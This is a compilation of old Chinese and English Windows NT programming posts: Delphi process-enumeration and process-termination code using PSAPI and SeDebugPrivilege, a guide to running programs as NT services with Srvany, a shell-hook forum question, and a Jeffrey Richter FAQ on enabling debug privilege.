OUT PVOID SystemInfoBuffer,

IN ULONG SystemInfoBufferSize,

OUT PULONG BytesReturned OPTIONAL

);

当然,KMD也可以在PASSIVE LEVEL运用此函数的内核引出:

NTSYSAPI

NTSTATUS

NTAPI

ZwQuerySystemInformation(

IN SYSTEMINFOCLASS SystemInfoClass, //Set to 5 for enumerate all process

OUT PVOID SystemInfoBuffer,

IN ULONG SystemInfoBufferSize,

OUT PULONG BytesReturned OPTIONAL

);

妙极否?:)由于查询功能太过强大,此函数必须有SE_TCB_NAME特权才能运作.大家感受到了SE_TCB_NAME特权的吸引人之处了吧!:DDD特权特权我所爱也.;)))

***********************************

用PSAPI，给你源码，有点乱，慢慢看吧。

//---------------------------------------------

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComCtrls;

const

KILL_NOERR = 0;

KILL_NOTSUPPORTED = -1;

KILL_ERR_OPENPROCESS = -2;

KILL_ERR_TERMINATEPROCESS = -3;

ENUM_NOERR = 0;

ENUM_NOTSUPPORTED = -1;

ENUM_ERR_OPENPROCESSTOKEN = -2;

ENUM_ERR_LookupPrivilegeValue = -3;

ENUM_ERR_AdjustTokenPrivileges = -4;

SE_DEBUG_NAME = 'SeDebugPrivilege';

type

TForm1 = class(TForm)

Button1: TButton;

TreeView1: TTreeView;

Memo1: TMemo;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure TreeView1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure TreeView1DblClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

ProcessNameList,ProcessIDList,FullNameList:TStrings;

implementation

{$R *.DFM}

function EnumProcesses(lpidProcess,cb,cbNeeded:dword):

integer;stdcall;external 'PSAPI.DLL';

function EnumProcessModules(hProcess:THandle;lphModule:HMODULE;cb,lpcbNeeded:Dword):

integer;stdcall;external 'PSAPI.DLL';

function GetModuleBaseNameA(hProcess:THandle;hModule:HMODULE;lpBaseName:pchar;nSize:DWord):

integer;stdcall;external 'PSAPI.DLL';

function GetModuleFileNameExA(hProcess:THandle;hModule:HMODULE;lpFilename:pchar;nSize:DWord):

integer;stdcall;external 'PSAPI.DLL';

procedure ErrorMessage;

var

MsgBuf:string;

begin

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER or

FORMAT_MESSAGE_FROM_SYSTEM or

FORMAT_MESSAGE_IGNORE_INSERTS,

nil,

GetLastError(),

LANG_NEUTRAL,//MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

@MsgBuf,

sizeof(MsgBuf),

nil

);

MessageBox(0,pchar(MsgBuf),'错误',MB_OK);

raise EAbort.Create ('') ;

end;

procedure GetTokenInfo(ProcessID:THandle);

var

InfoBuffer:TTokenPrivileges;

i:Integer;

ucPrivilegeName:pchar;

dwPrivilegeNameSize,dwInfoBufferSize:DWord;

PrivilegesList:TStrings;

hToken,hProcess : THANDLE;

s:string;

p:pchar;

begin

//get process handle from process id

hProcess := OpenProcess( PROCESS_ALL_ACCESS,

true, processID );

if hProcess=0 then

ErrorMessage;

//get token handle from process handle

if (OpenProcessToken(hProcess,

TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY or TOKEN_READ, hToken) = false) then

begin

ErrorMessage;

end;

dwInfoBufferSize:=0;

if GetTokenInformation(hToken,TokenPrivileges,@InfoBuffer,

sizeof(TTokenPrivileges),dwInfoBufferSize)=false then

begin

ErrorMessage;

end;

{

if PrivilegesList=nil then

PrivilegesList:=TStringList.Create

else

PrivilegesList.Clear;

}

ucPrivilegeName:=strAlloc(128);

exit;

s:='bbbb';

strPcopy(ucPrivilegeName,s);

//ucPrivilegeName:='aaa';

s:=strpas(ucPrivilegeName);

showmessage(s);

dwPrivilegeNameSize:=1000;

for i:=0 to InfoBuffer.PrivilegeCount-1 do

begin

if LookupPrivilegeName(nil,InfoBuffer.Privileges[i].Luid,

ucPrivilegeName,dwPrivilegeNameSize)=false then

begin

ErrorMessage;

end;

//PrivilegesList.Add (strpas(ucPrivilegeName));

//Form1.Memo1.Lines.Add(strpas(ucPrivilegeName));

//s:=strpas(ucPrivilegeName);

showmessage(s);

end;

strDispose(ucPrivilegeName);

//Form1.Memo1.Lines:=PrivilegesList;

CloseHandle( hProcess );

{

if PrivilegesList<>nil then

PrivilegesList.Free ;

}

end;

function EnableDebugPrivilegeNT : integer;

var

hToken : THANDLE;

DebugValue : TLargeInteger;

tkp : TTokenPrivileges ;

ReturnLength : DWORD;

PreviousState: TTokenPrivileges;

begin

if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY or TOKEN_READ, hToken) = false) then

result := ENUM_ERR_OPENPROCESSTOKEN

else

begin

if (LookupPrivilegeValue(nil, SE_DEBUG_NAME, DebugValue) = false) then

result := ENUM_ERR_LookupPrivilegeValue

else

begin

ReturnLength := 0;

tkp.PrivilegeCount := 1;

tkp.Privileges[0].Luid := DebugValue;

tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TTokenPrivileges),PreviousState , ReturnLength);

if (GetLastError <> ERROR_SUCCESS) then

result := ENUM_ERR_AdjustTokenPrivileges

else

result := ENUM_NOERR;

end;

end;

end;

function Kill_By_Pid(pid : longint) : integer;

var

hProcess : THANDLE;

TermSucc : BOOL;

begin

hProcess := OpenProcess(PROCESS_ALL_ACCESS, true, pid);

if (hProcess = 0) then // v 1.2 : was =-1

begin

result := KILL_ERR_OPENPROCESS;

end

else

begin

TermSucc := TerminateProcess(hProcess, 0);

if (TermSucc = false) then

result := KILL_ERR_TERMINATEPROCESS

else

result := KILL_NOERR;

end;

end;

procedure UpdateTreeView(Tree:TTreeView);

var

i:integer;

MyNode:TTreeNode;

begin

with Tree.Items do

begin

Clear;

if MyNode<>nil then

MyNode:=nil ;

for i:=0 to ProcessNameList.Count-1 do

begin

if (MyNode=nil)or(UpperCase(copy(processNameList[i],length(processNameList[i])-2,3))='EXE') then

MyNode:=add(nil,processNameList[i])

else

AddChild(MyNode,processNameList[i]);

end;

end;

end;

procedure PrintProcessNameAndID(processID: DWORD);

var

// szProcessName:ARRAY[0..1024] OF CHAR;

szFullName:ARRAY[0..1024] OF CHAR;

szModName :ARRAY[0..1024] OF CHAR;

hProcess : THandle;

hMods :array [0..1024] of dword;

cbNeeded,cMod : DWORD ;

i : Integer;

begin

// Get a handle to the process.

hProcess := OpenProcess( PROCESS_QUERY_INFORMATION or

PROCESS_VM_READ,

FALSE, processID );

// Get the process name.

szModName := 'unknown';

szFullName := 'unknown';

if ( hProcess<>0 ) then

begin

if EnumProcessModules( hProcess, dword(@hMods), sizeof(hMods),dword(@cbNeeded))<>0 then

begin

// GetModuleBaseNameA( hProcess, hMod, szProcessName,sizeof(szProcessName) );

// GetModuleFileNameExA(hProcess, hMod, szFullName,sizeof(szFullName));

cMod:=cbNeeded div sizeof(HMODULE);

for i := 0 to (cMod-1) do

begin

// Get the full path to the module's file.

GetModuleBaseNameA( hProcess, hMods[i], szModName,sizeof(szModName));

GetModuleFileNameExA( hProcess, hMods[i], szFullName,sizeof(szModName));

ProcessNameList.Add (StrPas(szModName));

FullNameList.Add (StrPas(szFullName));

end;

end;

end;

// Print the process name and identifier.

//Form1.Memo1.Lines.Add (StrPas(szProcessName));

// ProcessNameList.Add (StrPas(szProcessName));

// FullNameList.Add (StrPas(szFullName));

CloseHandle( hProcess );

end;

procedure TForm1.Button1Click(Sender: TObject);

var

cbNeeded, cProcesses:dword;

aProcesses: array [0..1024] of dword;

i:Cardinal;

begin

if EnumProcesses( Dword(@aProcesses), sizeof(aProcesses), Dword(@cbNeeded))<>0 then

begin

cProcesses := cbNeeded div sizeof(DWORD);

end

else

showmessage(inttostr(GetLastError));

if ProcessIDList<>nil then

processidlist.Clear

else

ProcessIDList:=TStringList.Create;

if ProcessNameList<>Nil then

ProcessNameList.Clear

else

ProcessNameList:=Tstringlist.Create;

if FullNameList<>Nil then

FullNameList.Clear

else

FullNameList:=TStringList.Create ;

for i:=0 to cprocesses-1 do

processidlist.Add(intToStr(aProcesses[i]));

for i:=0 to cProcesses-1 do

begin

PrintProcessNameAndID( strtoint(ProcessIDList[i]));

end;

// Memo1.lines:=ProcessNameList;

UpdateTreeView(Form1.TreeView1);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

if ProcessIDList<>Nil then

ProcessIDList.Free;

if ProcessNameList<>nil then

ProcessNameList.Free ;

if FullNameList<>Nil then

FullNameList.Free ;

end;

procedure TForm1.TreeView1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

MyNode:TTreeNode;

begin

MyNode:=TreeView1.GetNodeAt(x,y);

if MyNode<>nil then

begin

MyNode.Selected :=true;

if MyNode.HasChildren then

begin

Caption:='['+ ProcessIDList[MyNode.index]+ ']'+FullNameList[MyNode.AbsoluteIndex];

GetTokenInfo(strToint(ProcessIDList[MyNode.Index]));

end

else

Caption:=FullNameList[MyNode.AbsoluteIndex];

end;

end;

procedure TForm1.TreeView1DblClick(Sender: TObject);

var

MyNode:TTreeNode;

begin

MyNode:= TreeView1.Selected;

if (MyNode<>Nil)and(MyNode.HasChildren) then

begin

showmessage(intTostr(Kill_By_Pid(strToInt(ProcessIDList[MyNode.Index]))));

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

EnableDebugPrivilegeNT;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

s:string ;

p:Pchar;

begin

p:=strAlloc(128);

strcopy(p,'aa');

//p:='aaa';

s:=strpas(p);

showmessage(s);

strDispose(p);

end;

end.


Running a Program as an NT Service
Running a Program as an NT Service

Copyright ? 1999 by Jeff Baygents.

All rights reserved.

Requests for reprint or distribution may be via e-mail to Jeff@Baygents.com

Running any program application as a service would be great if that were always possible. Well, in many cases, that might be a possibility!

A prime example would be if your small business uses a telephone and fax application on an NT Server or NT Workstation. Since typical software applications only startup when you’re logged in, you wouldn’t be able to ever log out. In that case it’s a compromise to your security of files and network. Also, others wouldn’t be able to have you log out so they can log in and use the computer. And, another issue is someone might accidentally close the software that needs to remain running. The solution, of course, is install it as an NT service so that it runs hidden in the background when logged in and so it won’t shut down when you log out. We reviewed instructions for the methods from two sources and found them to be extremely inadequate and technically incorrect so, we've written them in a step-by-step method that really works. These instructions were written and then followed step-by-step to ensure they're very simple, specific, and correct for NT Server 4. Quotes must be entered in where they are annotated by the example given.

Copy the file Srvany.exe (available on an NT Resource Kit CD) anywhere on your boot drive. In this example, we created a folder called "Service" on the C drive.

Copy the file Instsrv.exe (available on an NT Resource Kit CD) in the Windows NT System32 folder. In this example it’s in "C:".

Think of a name that you want to appear in the Services list when you view Services. In this example, we’ll call it Phone Auto Attendant.

Click on START, RUN. Then type the following into the OPEN text box and click :

instsrv "Phone Auto Attendant" C:.exe

For a brief moment the screen will darken and then reappear. You can go into the Control Panel, and open the "Services" area to look for your new service named "Phone Auto Attendant". If it appears, you have done very well and can continue.

If you make a mistake in naming or if you want to eliminate your new service, you can delete a service by copying the file Delsrv.exe (available on an NT Resource Kit CD) to the Windows NT System32 folder. Then click on START, RUN. Then type the following into the OPEN text box and click :

delsrv "Phone Auto Attendant"

You must now identify this new named service with an application. In this example, your program is located at "c:.exe". Run "regedt32" from the command line and various registry windows will appear. To specify an application to start as a service go to the window named "HKEY_LOCAL_MACHINE on Local Machine". Drill down into System. You will see a folder with the name of your new service "Phone Auto Attendant"; select it. Then, at the RegEdt32 main menu area, click on menu item EDIT and the select "Add Key". Type in the following value:

parameters

Leave the entry "Class" empty. Click . The folder named 'parameters' is created. Select this new folder and click on menu item EDIT and select "Add Value". Type in the following value entry (use a data type selection of REG_SZ):

Application

Then click on . Then, a dialog box prompting for a string value will appear. Enter in the path (no quotes) of the application file to run as your service. Our example string entry would be:

C:FilesMessageCenter.exe

Then click on .

Tip: To get an accurate path string reading, copy a shortcut of the application to your desktop first, right-click to select its properties, and copy its shortcut path from there. Paste it into the string entry box (remove the quotes before clicking on ).

If you've performed the above steps correctly, you'll be able to go into the Control Panel, locate your service, and click on the button to start up the service. If you get an error, you should go back and check your work. If you need to correct your incorrect value in the registry, run regedt32 again and select the incorrect line to remove, click the key, answer the prompt ; then re-enter it correctly.

After the registry entry has been entered in, reboot the machine. The service should start after rebooting. It will start hidden from your view unless you check the "Interact with Desktop" selection box. A word of caution: If you choose to have the application interact with the desktop, note that if you are logged in and you close the application, and then you log out, there is no service running. It is best to run various scenarios to get familiar with the differing possibilities.


捕捉了窗口的创建
我已成功的用shell hook捕捉了窗口的创建事件,但任然有些问题,现提出来与大家讨论:

在我使用了挂起hook之后,应用程序的创建事件我能捕捉,但,凡是在钩子挂起之后运行的

应用程序,无论什么类型,只要进行了minimize 操作,就会隐藏hide起来.且在taskbar上也

找不到.只有用alt+tab切换才会出现.........不知什么问题.我把原代码贴上,请大家帮忙

研究.

以下是测试程序的原代码

unit testmain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,tlhelp32, AppEvnts;

type

TForm1 = class(TForm)

Button1: TButton;

ListBox1: TListBox;

ApplicationEvents1: TApplicationEvents;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure ApplicationEvents1Message(var Msg: tagMSG;

var Handled: Boolean);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

mymsg:dword;

type

EDLLLoadError=class(exception);

implementation

{$R *.DFM}

function createhook:bool; external 'mydll.dll' ;

function freehook:bool; external 'mydll.dll' ;

var hookhandle:hhook=0;

oldwinproc:pointer;

procedure TForm1.Button1Click(Sender: TObject);

begin

close;

end;

function newproc(windowhandle:hwnd; themessage, paramw,paraml:longint):longint; stdcall;

var

pid:integer;

ps:tprocessentry32;

hp:thandle;

filename:string;

isend:bool;

begin

result:=0;

if themessage=mymsg then

begin

form1.listbox1.Items.Clear;

getwindowthreadprocessid(paramw,@pid);

hp:= createtoolhelp32snapshot(TH32CS_SNAPPROCESS,pid);

ps.dwsize:=sizeof(ps);

isend:=process32first(hp,ps);

while isend do

begin

filename:=ps.szExeFile;

form1.listbox1.Items.Add('w'+filename);

isend:=process32next(hp,ps);

end;

result:=0;

end

else

result:=callwindowproc(oldwinproc,form1.handle,themessage,paramw,paraml);

end;

procedure TForm1.FormCreate(Sender: TObject);

var lb:bool;

begin

mymsg:=registerwindowmessage('cbtcreatewndmessage');

oldwinproc:=pointer(setwindowlong(form1.handle,gwl_wndproc,longint(@newproc)));

lb:=createhook;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

var lb:bool;

begin

lb:=freehook;

end;

procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;

var Handled: Boolean);

var

pid:integer;

ps:tprocessentry32;

hp:thandle;

filename:string;

isend:bool;

begin

if msg.message=mymsg then

begin

form1.listbox1.Items.Clear;

getwindowthreadprocessid(msg.wParam,@pid);

hp:= createtoolhelp32snapshot(TH32CS_SNAPPROCESS,pid);

ps.dwsize:=sizeof(ps);

isend:=process32first(hp,ps);

while isend do

begin

filename:=ps.szExeFile;

form1.listbox1.Items.Add('w'+filename);

isend:=process32next(hp,ps);

end;

showwindow(msg.wparam,SW_normal);

end;

end;

end.

以下是dll中的原代码

unit cbt;

interface

uses

messages,windows;

function createhook:bool;stdcall;

function freehook:bool;stdcall;

function cbtcreatewndhook( int: integer; // hook code

WPARAM: longint; // depends on hook code

LPARAM: longint // depends on hook code

):longint stdcall;

implementation

var hookhandle:hhook=0;

function cbtcreatewndhook( int: integer; // hook code

WPARAM: longint; // depends on hook code

LPARAM: longint // depends on hook code

):longint ;

begin

result:=0;

if int=Hshell_WINDOWCREATED then

begin

lparam:=getwindowlong(wparam,GWL_STYLE);

postmessage(HWND_BROADCAST,registerwindowmessage('cbtcreatewndmessage'),wparam,lparam);

end

else

result:= callnexthookex(hookhandle,int,wparam,lparam);

end;

function createhook:bool;

begin

hookhandle:=setwindowshookex(wh_shell,cbtcreatewndhook,hinstance,0);

result:=hookhandle<>0;

end;

function freehook:bool;

begin

result:=unhookwindowshookex(hookhandle);

end;

end.

以下是dll接口程序的代码

library mydll;

{ Important note about DLL memory management: ShareMem must be the

first unit in your library's USES clause AND your project's (select

Project-View Source) USES clause if your DLL exports any procedures or

functions that pass strings as parameters or function results. This

applies to all strings passed to and from your DLL--even those that

are nested in records and classes. ShareMem is the interface unit to

the BORLNDMM.DLL shared memory manager, which must be deployed along

with your DLL. To avoid using BORLNDMM.DLL, pass string information

using PChar or ShortString parameters. }

uses

SysUtils,

Classes,

windows,

messages,

cbt in 'cbt.pas';

const

cbtgothandle=wm_user+101;

{$R *.RES}

exports

createhook,freehook,cbtcreatewndhook;

begin

end.


WinNT/2000进程信息
Windows NT/2000: PSAPI

正如前面提到的那样，To o l H e l p 3 2 在Windows NT/2000 下是不存在的。不过，Wi n d o w s 平台S D K 提

供了一个叫P S A P I . D L L 的动态链接库，通过这个动态链接库可以获取类似于To o l H e l p 3 2 能够获取的信

息，包括：

?正在运行的进程。

?每个进程已加载的模块。

?已加载的设备驱动程序。

?进程内存信息。

?映射每个进程的文件内存。

Windows NT 的较高版本和Windows 2000 的所有版本都包含P S A P I . D L L 。但你要让你的应用程序的用户可以使它，还是应该随程序分发这个文件。D e l p h i 为这个D L L 提供了一个叫P S A P I . p a s 的接口单元，可以动态地加载所有的函数。因此，无论机器上有没有安装P S A P I . D L L ，引用这个单元的应用程序都能够运行(当然，不安装P S A P I . D L L ，函数无法工作，但应用程序能够运行)。

使用P S A P I 获取进程信息，首先要调用E n u m P r o c e s s e s ( )函数，其声明如下：

BOOL EnumProcesses(

DWORD * lpidProcess, // array to receive the process identifiers

DWORD cb, // size of the array

DWORD * cbNeeded // receives the number of bytes returned

);

?lpidProcess 是一个指向D W O R D 数组的指针，由函数用进程I D 填充。

?cb 包含由l p i d P r o c e s s 指定的数组的元素数。

?c b N e e d e d 返回拷贝到l p i d P r o c e s s 数组的实际字节数。用此值除以S i z e O f ( D W O R D )将得到拷贝到数组的元素数，即正在运行的进程数。

调用这个函数后，l p i d P r o c e s s 指定的数组将包含一些进程的I D 。进程I D 在自身进程中无用，但可以传递给OpenProcess() API 函数以获取进程的句柄。一旦拥有一个进程句柄，就可以调用针对进程句柄的其他P S A P I 函数，甚至其他Win32 API 函数。

P S A P I 提供了一个相似的函数-E n u m D e v i c e D r i v e r s ( )函数，用于获取已加载的设备驱动程序的

信息。声明如下：

BOOL EnumDeviceDrivers(

LPVOID *lpImageBase, // array to receive the load addresses

DWORD cb, // size of the array

LPDWORD lpcbNeeded // receives the number of bytes returned

);

先把一个叫B i g A r r a y 的数组传递给函数E n u m P r o c e s s e s ( )和E n u m D e v i c e D r i v e r s ( )，然后把

B i g A r r a y 内的数据分别移到叫F P r o c L i s t 和F D r v L i s t 的动态数组中。之所以这么复杂地实现，原因是

E n u m P r o c e s s e s ( )和E n u m D e v i c e D r i v e r s ( )都不能预先分配数组内存，因为它们不知道将要返回多少个数

组元素。因此先声明一个大数组(希望足够大)，再把结果拷贝到适当大小的动态数组中。

**********************************************

get process informations? (Windows NT/2000)

{

This function write all nt process informations into memo1. In Edit1 you can

specify the processID.

}

type

PDebugModule = ^TDebugModule;

TDebugModule = packed record

Reserved: array [0..1] of Cardinal;

Base: Cardinal;

Size: Cardinal;

Flags: Cardinal;

Index: Word;

Unknown: Word;

LoadCount: Word;

ModuleNameOffset: Word;

ImageName: array [0..$FF] of Char;

end;

type

PDebugModuleInformation = ^TDebugModuleInformation;

TDebugModuleInformation = record

Count: Cardinal;

Modules: array [0..0] of TDebugModule;

end;

PDebugBuffer = ^TDebugBuffer;

TDebugBuffer = record

SectionHandle: THandle;

SectionBase: Pointer;

RemoteSectionBase: Pointer;

SectionBaseDelta: Cardinal;

EventPairHandle: THandle;

Unknown: array [0..1] of Cardinal;

RemoteThreadHandle: THandle;

InfoClassMask: Cardinal;

SizeOfInfo: Cardinal;

AllocatedSize: Cardinal;

SectionSize: Cardinal;

ModuleInformation: PDebugModuleInformation;

BackTraceInformation: Pointer;

HeapInformation: Pointer;

LockInformation: Pointer;

Reserved: array [0..7] of Pointer;

end;

const

PDI_MODULES = $01;

ntdll = 'ntdll.dll';

var

HNtDll: HMODULE;

type

TFNRtlCreateQueryDebugBuffer = function(Size: Cardinal;

EventPair: Boolean): PDebugBuffer;

stdcall;

TFNRtlQueryProcessDebugInformation = function(ProcessId,

DebugInfoClassMask: Cardinal; var DebugBuffer: TDebugBuffer): Integer;

stdcall;

TFNRtlDestroyQueryDebugBuffer = function(DebugBuffer: PDebugBuffer): Integer;

stdcall;

var

RtlCreateQueryDebugBuffer: TFNRtlCreateQueryDebugBuffer;

RtlQueryProcessDebugInformation: TFNRtlQueryProcessDebugInformation;

RtlDestroyQueryDebugBuffer: TFNRtlDestroyQueryDebugBuffer;

function LoadRtlQueryDebug: LongBool;

begin

if HNtDll = 0 then

begin

HNtDll := LoadLibrary(ntdll);

if HNtDll <> 0 then

begin

RtlCreateQueryDebugBuffer := GetProcAddress(HNtDll, 'RtlCreateQueryDebugBuffer');

RtlQueryProcessDebugInformation := GetProcAddress(HNtDll,

'RtlQueryProcessDebugInformation');

RtlDestroyQueryDebugBuffer := GetProcAddress(HNtDll,

'RtlDestroyQueryDebugBuffer');

end;

end;

Result := Assigned(RtlCreateQueryDebugBuffer) and

Assigned(RtlQueryProcessDebugInformation) and

Assigned(RtlQueryProcessDebugInformation);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

DbgBuffer: PDebugBuffer;

Loop: Integer;

begin

if not LoadRtlQueryDebug then Exit;

Memo1.Clear;

Memo1.Lines.BeginUpdate;

DbgBuffer := RtlCreateQueryDebugBuffer(0, False);

if Assigned(DbgBuffer) then

try

if RtlQueryProcessDebugInformation(StrToIntDef(Edit1.Text, GetCurrentProcessId),

PDI_MODULES, DbgBuffer^) >= 0 then

begin

for Loop := 0 to DbgBuffer.ModuleInformation.Count - 1 do

with DbgBuffer.ModuleInformation.Modules[Loop], Memo1.Lines do

begin

Add('ImageName: ' + ImageName);

Add(' Reserved0: ' + IntToHex(Reserved[0], 8));

Add(' Reserved1: ' + IntToHex(Reserved[1], 8));

Add(' Base: ' + IntToHex(Base, 8));

Add(' Size: ' + IntToHex(Size, 8));

Add(' Flags: ' + IntToHex(Flags, 8));

Add(' Index: ' + IntToHex(Index, 4));

Add(' Unknown: ' + IntToHex(Unknown, 4));

Add(' LoadCount: ' + IntToHex(LoadCount, 4));

Add(' ModuleNameOffset: ' + IntToHex(ModuleNameOffset, 4));

end;

end;

finally

RtlDestroyQueryDebugBuffer(DbgBuffer);

end;

Memo1.Lines.EndUpdate;

end;


杀掉一个拒绝访问的进程
http://www.microsoft.com/china/msdn/technic/faq/win32faq.asp

Jeffrey Richter

问：我正在开发一个基于Windows NT?的服务程序。我的程序同任何程序一样存在一些小的毛病。当我的服务程序出错以后，我想杀掉这个服务程序将它重新启动。我经常使用任务管理器来杀掉我不再想使用的进程。但是，如果我想杀掉一个服务程序的话，显示在我面前的就是一个权限被拒绝的消息框，有什么办法能够让任务管理器来杀掉一个服务程序吗？
Andrea DeMaio
Pacific Grove, CA

A. 在我回答这个问题以前，让我们先来研究以下为什么任务管理器会显示一个消息框（如图1所示）。当你在任务管理器中选择了一个进程并且点击了终止进程的按纽，任务管理器将会获取所选进程的ID并执行下面的伪代码：

DWORD dwProcessId = (Initialized from the ListView

control);

HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE,

dwProcessId);

if (hProcess == NULL) {

// Display error message box (like in Figure 1).

} else {

TerminateProcess(hProcess, 1);

CloseHandle(hProcess);

}

因为OpenProcess这个函数不能够打开特定进程的句柄，所以消息框弹出。这个操作失败是因为服务程序是运行在本机系统安全帐户下，而你哪怕是以管理员的身份登录，也没有足够的权限来打开这个服务程序的句柄。事实上，在OpenProcess返回空并收到一个ERROR_ACCESS_DENIED (5)这样的错误代码后，任务管理器会立即调用GetLastError。任务管理器将代表这个错误的文本放在消息框中。

图 1: 错误消息框

微软允许进程通过使用特权的方式越过这个权限检查。在Windows NT中，特权是分配给用户的属性，这个属性允许用户超越对操作系统某个部分的所谓限制。Windows NT 4.0 支持24种特权允许做一些类似备份恢复文件等通常不会被授予权限的操作，还可以改变系统时间，或是在实时优先级上运行一个进程，以及关闭系统的操作。

其中有一种特权叫做SeDebugPrivilege。通常，操作系统不允许用户对进程进行跟踪，是因为系统不想使用户（或黑客）具有改变一个运行中的进程的能力。然而，有一些用户需要这种对进程进行跟踪调试的能力。缺省情况下，Windows NT自动授予管理员跟踪调试的特权。你可以通过运行User Manager管理工具进行验证。选择Policies 下面的User Rights菜单选项，点击 Show Advanced User Rights checkbox，然后选择Debug programs 的权力 (如图2所示)。

图 2: 用户权限策略

如果你在登录后被授予了跟踪程序的特权，你就可以对应用程序进行跟踪调试。什么意思呢？就是说，想要对一个应用程序进行跟踪调试，你必须能够被允许成功调用OpenProcess这个函数，这样你就能够调用各种与调试器相关的API，如ReadProcessMemory、 WriteProcessMemory、 VirtualQueryEx、 VirtualProtectEx、 VirtualAllocEx、VirtualFreeEx 、CreateRemoteThread，等等。所有这些功能都需要一个进程的句柄才能正确的运行。简单地说， 尽管你通常情况下不能够打开一个进程，如果你具有了调试特权，你就能够强迫OpenProcess 打开一个进程。

读了以上这些，你可能仍然很迷惑。你可能在对自己说： "怪了，我就是以管理员的身份登录的，可是当我告诉任务管理器我要终止一个服务进程时，我看到的仍然是一个权限被拒绝的消息框，这是为什么?"拥有了特权就意味着可以超越普通的操作，具有对强大的系统功能的无限制的权限。然而，系统要保护普通的用户，不允许管理员蓄意或无意地使系统崩溃，影响到其他用户。我们可以很容易地想象一个场景，假设一个管理员登录进入系统，然后告诉任务管理器要杀掉WinLogon.exe 或 CSRSS.exe 进程。这些进程是系统正常运转的必要条件，它们必须始终运行在系统中，否则将会造成整个系统的崩溃。正因如此，任务管理器不会允许一个管理员在无意之中终止这些进程，使整个系统瘫痪。

用户与权限之间有三种关系：被拒绝、被授权和能使用。"被拒绝"以为着用户永远不具有对系统的某个组件超越其所限制权限的能力。例如，如你所看到的所有管理员以外的用户都不具有跟踪调试的特权，所以一个普通的用户就永远不能够调试一个进程。对于系统的许多用户来说，绝大多数特权都是被拒绝的。管理员可以使用User Manager工具给用户授予特权。不过要注意：用户必须退出系统（如果当前是登录状态的话），以新分配的特权重新登录，授权才能生效。

"被授权"意味着用户可以利用特权运行程序。但是请记住特权给了用户一个执行通常被限制的强大操作的权限。这本身是一件非常危险的事情，所以不应当轻易获取。所以，就算一个用户可能被授予特权，系统可能还会在很明白地赋予它使用权以前保留这个特权，在这时，用户可能还是行使不了这个权限。

"能使用"意味着用户已经被赋予特权而且特权已经开放。那么现在，当你要执行一个受限制的操作时，系统会进行检查，看看这个用户是被赋予了哪种特权的使用权（不仅仅是授权），确认后，用户就可以超越这个限制。这就是为什么任务管理器不允许管理员终止一个服务程序的原因，尽管管理员已经被授予了调试特权，任务管理器没有将它开放。

当你登录进系统以后， Windows NT创建了一个叫做访问标志的对象。这个对象包括许多信息，包括那些特权被授权或可使用。访问标志与shell进程Explorer.exe相关联。一旦你运行了一个新的进程，系统会将父进程的访问标志复制赋予新的进程。换句话说，就是每个进程都有它自己的特权集。也就是说，如果你为一个进程赋予了一个特权的使用权，这个使用权不会对其他进程开放除非你明确地赋予。所以，如果你对任务管理进程开放了跟踪调试特权的使用权，任务管理器将能够终止服务进程。

图三显示了一个小程序， EnableDebugPrivAndRun，这个程序演示了如何运行一个具有跟踪调试特权使用权的进程。运行任务管理器（它的调试特权开放），编译链接这个程序使用这样的命令行来运行它：
C:>EnableDebugPrivAndRun.exe TaskMgr.exe

当你执行这个命令行以后， EnableDebugPrivAndRun 首先调用 OpenProcessToken。它返回一个与EnableDebugPrivAndRun 进程相连的访问标志的句柄。如果成功得到访问标志的句柄，调用EnablePrivilege-我自己的函数，功能只是把所有必要的赋予或不赋予特权的步骤打包。

图3: EnableDebugPrivAndRun.cpp

/*************************************************************

Module name: EnableDebugPrivAndRun.cpp

Notices: Written 1998 by Jeffrey Richter

Description: Enables the Debug privilege before running an app

**** *********************************************************/

#define STRICT

#include

//////////////////////////////////////////////////////////////

BOOL EnablePrivilege(HANDLE hToken, LPCTSTR szPrivName,

BOOL fEnable) {

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

return((GetLastError() == ERROR_SUCCESS));

}

//////////////////////////////////////////////////////////////

int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE hinstExePrev,

LPSTR pszCmdLine, int nCmdShow) {

HANDLE hToken;

if (OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES, &hToken)) {

if (EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE)) {

if (ShellExecute(NULL, NULL, pszCmdLine, NULL,

NULL, SW_SHOWNORMAL) < (HINSTANCE) 32) {

MessageBox(NULL, pszCmdLine,

__TEXT("EnableDebugPrivAndRun: Couldn't run"),

MB_OK | MB_ICONINFORMATION);

}

}

CloseHandle(hToken);

}

return(0);

}

